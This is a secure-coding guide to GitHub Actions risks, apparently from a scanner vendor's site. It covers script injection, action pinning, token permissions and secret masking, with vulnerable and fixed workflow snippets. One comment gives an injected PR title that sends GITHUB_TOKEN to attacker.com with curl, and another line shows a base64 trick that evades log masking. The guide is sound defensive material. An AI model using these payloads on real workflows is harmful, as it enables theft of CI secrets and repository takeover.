GitHub Actions Attack Surface
GitHub Actions is the most widely used CI/CD platform for open-source and SaaS projects. Its deep integration with GitHub repositories — automatic triggers on pull requests, built-in secret storage, and direct access to the repository via GITHUB_TOKEN — makes it both powerful and a significant attack surface.
The four primary attack vectors are:
- Script injection: Untrusted pull request data (titles, body text, branch names) interpolated into workflow scripts enables code execution in the CI environment
- Third-party action supply chain: Workflows using actions from other repositories introduce the same risks as third-party npm packages — compromised actions execute in the CI environment with full secret access
- GITHUB_TOKEN privilege escalation: Workflows granted excessive write permissions allow attackers to push code, approve pull requests, or modify repository settings
- Secrets exposure in logs: Secrets accidentally printed in workflow output are visible to anyone with repository read access
Script Injection via Pull Request Triggers
The most dangerous GitHub Actions vulnerability is script injection via pull_request_target. This trigger runs with write permissions and access to secrets — and it can be triggered by pull requests from forks.
Vulnerable — script injection via PR title:
# VULNERABLE: pull_request_target with interpolated PR metadata
on:
pull_request_target:
jobs:
comment:
runs-on: ubuntu-latest
steps:
- name: Comment on PR
run: |
echo "Processing PR: ${{ github.event.pull_request.title }}"
# If PR title is: test"; curl https://attacker.com?t=$GITHUB_TOKEN; echo "
# The shell executes the injected command
Secure — use environment variables, not interpolation:
# SECURE: Pass PR data via environment variable
on:
pull_request_target:
jobs:
comment:
runs-on: ubuntu-latest
steps:
- name: Comment on PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Processing PR: $PR_TITLE" # Safe — env var, not interpolated into shell
Avoid pull_request_target unless absolutely necessary. Use pull_request instead, which runs with read-only permissions and no access to secrets for fork PRs.
Third-Party Action Risks
Every action referenced in a workflow runs with access to the job's secrets and the GITHUB_TOKEN. A compromised action can exfiltrate all secrets in the workflow.
Vulnerable — mutable action references:
# VULNERABLE: Using a branch tag — attacker can push malicious code to main
- uses: some-org/some-action@main
# VULNERABLE: Using a version tag — tags can be moved to malicious commits
- uses: some-org/some-action@v2
Secure — pin to full commit SHA:
# SECURE: Pin to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
# Commit SHA cannot be moved — the action code is immutable at that referenceGITHUB_TOKEN Privilege Escalation
Every GitHub Actions job automatically receives a GITHUB_TOKEN. By default, the token has broad write permissions — a compromised workflow can push code, approve pull requests, and modify repository settings.
Vulnerable — default broad permissions:
# VULNERABLE: Default permissions — write access to everything
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
Secure — explicit minimal permissions:
# SECURE: Explicit minimal permissions
on: [push]
permissions:
contents: read # Read repository contents only
checks: write # Write check results
jobs:
security-scan:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npx codeslick analyzeSecrets Management in Workflows
GitHub Actions masks secret values in logs automatically — but only for the verbatim secret value. Several patterns bypass this protection:
# VULNERABLE: Encoded secret escapes masking
- run: echo ${{ secrets.API_KEY }} | base64 # GitHub CANNOT mask the encoded value!
# VULNERABLE: Secret in URL (appears in proxy logs)
- run: curl "https://api.example.com?key=${{ secrets.API_KEY }}"
# SECURE: Pass secrets as environment variables, use in headers
- name: Call API
env:
API_KEY: ${{ secrets.API_KEY }}
run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com
Use repository-level or organization-level GitHub Secrets for CI/CD credentials. Never commit credentials to the repository — use CodeSlick's pre-commit hook to catch accidental secret commits before they reach the repository.
Security Hardening Best Practices
A checklist for hardening GitHub Actions workflows:
- Pin all actions to commit SHAs, not branch or version tags
- Set minimal permissions at workflow and job level
- Avoid
pull_request_targetunless absolutely necessary; never access secrets in the same job as PR code checkout - Pass PR metadata as environment variables, never interpolate into shell commands
- Run CodeSlick in every PR workflow to catch security issues before merge:
- name: Security Scan run: npx codeslick analyze --fail-on critical - Use
actionlintin CI to catch workflow security misconfigurations statically - Enable Dependabot for Actions to receive security updates for pinned action SHAs